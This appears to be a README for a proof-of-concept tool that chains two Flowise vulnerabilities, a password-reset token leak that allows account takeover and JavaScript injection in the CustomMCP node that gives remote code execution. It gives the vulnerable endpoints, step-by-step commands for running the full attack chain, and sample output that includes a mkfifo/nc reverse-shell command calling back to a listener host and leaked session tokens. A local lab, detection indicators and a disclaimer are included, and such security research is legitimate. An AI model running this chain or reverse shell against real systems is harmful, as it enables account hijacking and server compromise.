
FlowiseAI CVE-2025-58434 & CVE-2025-59528 exploit PoC, demonstrating unauthenticated ATO via reset token leakage, followed by authenticated RCE. Includes a reproductible Docker lab environment.
⚠️ For educational and authorized security research only. Running this tool against systems you do not own or lack written permission to test is illegal.
This repository contains a Python proof-of-concept for chaining two Flowise vulnerabilities:
Flowise is a drag-and-drop platform for building LLM applications and AI agent workflows. CVE-2025-59528 affects Flowise 3.0.5 and was fixed in 3.0.6. The issue comes from unsafe processing of inside the CustomMCP node. CVE-2025-58434 is related to password reset token exposure and was also addressed in Flowise 3.0.6.
mcpServerConfigThe tool supports:
The vulnerable password reset flow exposes sensitive user data, including temporary password reset tokens, in the API response. An attacker who knows a valid user email address can request a password reset, retrieve the temporary token from the response, and use it to set a new password for the account.
The vulnerable behavior affects Flowise cloud and self-hosted/local deployments exposing the same API surface. The remediation is to never return password reset tokens or sensitive account reset data directly in API responses.
The vulnerability exists in Flowise's CustomMCP node. The mcpServerConfig parameter is parsed as part of the MCP server configuration process, and is evaluated as JavaScript code without any security validation. This allows an authenticated attacker to inject arbitrary JavaScript code, which is executed in the Node.js environment of the Flowise server. In the convertToValidJSONString function, the user input is passed to the Function constructor, which evaluates the input as JavaScript code with full Node.js privileges, allowing access to modules like child_process to execute system commands.
The vulnerable endpoint used by this PoC is:
POST /api/v1/node-load-method/customMCP
with js payload in the mcpServerConfig field of the JSON body, for example:
{
"loadMethod": "listActions",
"inputs": {
"mcpServerConfig": "..."
}
}
Vulnerable code is found in the CustomMCP.ts file, and referenced in the Github Maintainer Advisory for the CVE.
Attacker Flowise
│ │
│ [CVE-2025-58434] │
│ POST /api/v1/account/forgot-password │
│ { email } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ user object + tempToken │
│ │
│ POST /api/v1/account/reset-password │
│ { email, tempToken, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ password changed │
│ │
│ POST /api/v1/auth/login │
│ { email, newPassword } │
│─────────────────────────────────────────►│
│◄─────────────────────────────────────────│
│ token / refreshToken / connect.sid │
│ │
│ [CVE-2025-59528] │
│ POST /api/v1/node-load-method/customMCP │
│ mcpServerConfig=<crafted config> │
│─────────────────────────────────────────►│
│ JS evaluated in Node.js
│ command executed
│◄─────────────────────────────────────────│
│ command output or payload fired │
│ │
✓ Account takeover + authenticated RCE
Repository Structure
CVE-2025-58434-CVE-2025-59528/
├── exploit.py
├── README.md
├── requirements.txt
├── docker-compose.yml
└── logs/
git clone https://github.com/0xDaeras/CVE-2025-58434-CVE-2025-59528-POC.git
cd CVE-2025-58434-CVE-2025-59528-POC
pip install -r requirements.txt
git clone https://github.com/0xDaeras/CVE-2024-51482-POC.git
cd CVE-2024-51482-POC
cp .env.example .env # Configure environment variables
docker-compose up -d
Without any arguments, the tool will run the full attack chain, checking the target vulnerability, performing account takeover for the provided email, logging in to retrieve cookies, and then exploiting the RCE vulnerability with a reverse shell payload. Run a dedicated listener (e.g., nc -lvnp 9889) before executing the tool in full chain mode.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889
python3 exploit.py -h
Performs a version check to determine if the target is vulnerable to CVE-2025-58434 and CVE-2025-59528. It sends a request to the target's API and analyzes the response to identify the Flowise version and vulnerability status.
python3 exploit.py --target http://localhost:3000 check
Executes the account takeover process for CVE-2025-58434. It sends a password reset request for the specified email, retrieves the temporary token from the response, and then uses that token to set a new password (default: "Password123!") for the account.
python3 exploit.py --target http://localhost:3000 --email [email protected] ato-mode
Logs in to the target using the specified email and password (default: "Password123!"). If successful, it retrieves and displays the authentication cookies (e.g., connect.sid) for use in authenticated requests.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! login-mode
Exploits the RCE vulnerability (CVE-2025-59528) by sending a crafted mcpServerConfig payload to the vulnerable endpoint. The payload is designed to execute a reverse shell command that connects back to the attacker's machine on the specified LHOST and LPORT. If no token is provided, automatically attempts to log in and retrieve a valid token for exploitation. If no LHOST/LPORT is provided, defaults to a simple id command payload that returns output in the response. Run a dedicated listener (e.g., nc -lvnp 9889) before executing the tool in full chain mode.
python3 exploit.py --target http://localhost:3000 --email [email protected] --password Password123! --lhost attacker.local --lport 9889 rce-mode
Default Mode. Runs the entire attack chain sequentially: checks for vulnerabilities, performs account takeover, logs in to retrieve cookies, and then exploits the RCE vulnerability with the reverse shell payload. Run a dedicated listener (e.g., nc -lvnp 9889) before executing the tool in full chain mode.
python3 exploit.py --target http://localhost:3000 --email [email protected] --lhost attacker.local --lport 9889 full-chain-mode
| Flag | Description | Example |
|---|---|---|
-t, --target | Target base URL | -t http://localhost:3000 |
-e, --email | Target account email | -e [email protected] |
--password | Known password for login/RCE mode | --password Password123! |
--token | Existing session token, skips login | --token eyJ... |
--new-password | Password to set during ATO | --new-password Password123! |
| Mode | Description |
|---|---|
check | Check whether the target appears vulnerable |
ato-mode | Run only the account takeover flow |
login-mode | Log in and retrieve session cookies |
rce-mode | Run only the RCE flow |
full-mode | Chain ATO, login, and RCE |
| Flag | Description | Example |
|---|---|---|
-c, --command | Custom command to execute | -c 'id' |
--lhost | Listener host for reverse shell | --lhost 10.10.14.3 |
--lport | Listener port for reverse shell | --lport 4444 |
| Flag | Description | Default |
|---|---|---|
--no-check | Skip version/vulnerability check | False |
-v, --verbose | Enable debug logging | False |
--log-file | Log file path | logs/exploit.log |
--no-color | Disable ANSI colors | False |
$ python3 exploit.py -t http://localhost:3000 -e [email protected] --new-password Password123! --lhost 192.168.1.7 --lport 9889 full-mode
___________.__ .__ _________ .__ .__
\_ _____/| | ______ _ _|__| ______ ____ \_ ___ \| |__ _____ |__| ____
| __) | | / _ \ \/ \/ / |/ ___// __ \ / \ \/| | \\__ \ | |/ \
| \ | |_( <_> ) /| |\___ \\ ___/ \ \___| Y \/ __ \| | | \
\___ / |____/\____/ \/\_/ |__/____ >\___ > \______ /___| (____ /__|___| /
\/ \/ \/ \/ \/ \/ \/
────────────────────────────────────────────────────────────────────────────────
[∗] Target URL: http://localhost:3000
[∗] Module : full-mode
[∗] Email : [email protected]
────────────────────────────────────────────────────────────────────────────────
[∗] Checking for target vulnerability...
[+] Target appears to be vulnerable.
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Account Takeover (CVE-2025-58434)...
[+] Password reset request sent successfully.
[∗] Target user data :
🡪 ID : 4e169dc2-AAAA-BBBB-CCCC-DDDDDDDDDDDD
🡪 Name : Lab Admin
🡪 Email : [email protected]
🡪 Credential : $2a$10$lKbQNf8pVQXJFMzzW...
🡪 Status : active
🡪 Temp Token : AWtyV7mxIa6h12OhlB7H0mMl...
🡪 Token Expiry : 2026-05-08T19:37:47.025Z
[∗] Attempting to reset password using the temporary token...
[∗] New password : Password123!
[+] Account takeover successful! New credentials:
🡪 Email : [email protected]
🡪 Password : Password123!
────────────────────────────────────────────────────────────────────────────────
[∗] Starting login process to retrieve session cookies...
[+] Login successful!
[+] Retrieved session tokens :
🡪 Token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
🡪 connect.sid : s%3AFi1aUHh5p0aQrPd5q-l_vupTCE-5G...
🡪 refreshToken : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXV...
────────────────────────────────────────────────────────────────────────────────
[∗] Starting Remote Code Execution (CVE-2025-59528)...
[!] Make sure to have a listener ready if using a reverse shell command!
[∗] Reverse shell command: rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.1.1 9889 > /tmp/f
[∗] Target URL: http://localhost:3000/api/v1/node-load-method/customMCP
[∗] Sending payload to trigger RCE...
[+] Payload sent. Check your listener for a reverse shell connection!
────────────────────────────────────────────────────────────────────────────────
[+] Work done. Bye!
A local lab is recommended for safe testing.
Lab installation:
cp .env.example .env # Configure environment variables as needed
docker compose up -d --build
docker compose logs -f
Two Flowise accounts are created by default:
[email protected], password is generated randomly at container startup (check logs for the password).[email protected], password is generated randomly at container startup but does not appear in logs. This is the intended target for the ATO flow.Run the PoC against the local instance:
python3 exploit.py \
-t http://localhost:3000 \
-e [email protected] \
--new-password 'Password123!' \
--no-check \
full-mode
To inspect Flowise logs:
docker compose logs -f flowise-cve-lab
or:
docker logs -f flowise-cve-lab
Potential indicators of exploitation:
/api/v1/node-load-method/customMCPprocess.mainModule, child_process, execSync, Buffer.from, FunctionThis project is provided for educational purposes, lab testing, and authorized security research only.
You are responsible for ensuring that you have explicit permission before running this tool against any system. The author is not responsible for misuse, damage, or illegal activity performed with this code. Always follow ethical guidelines and legal requirements when conducting security testing.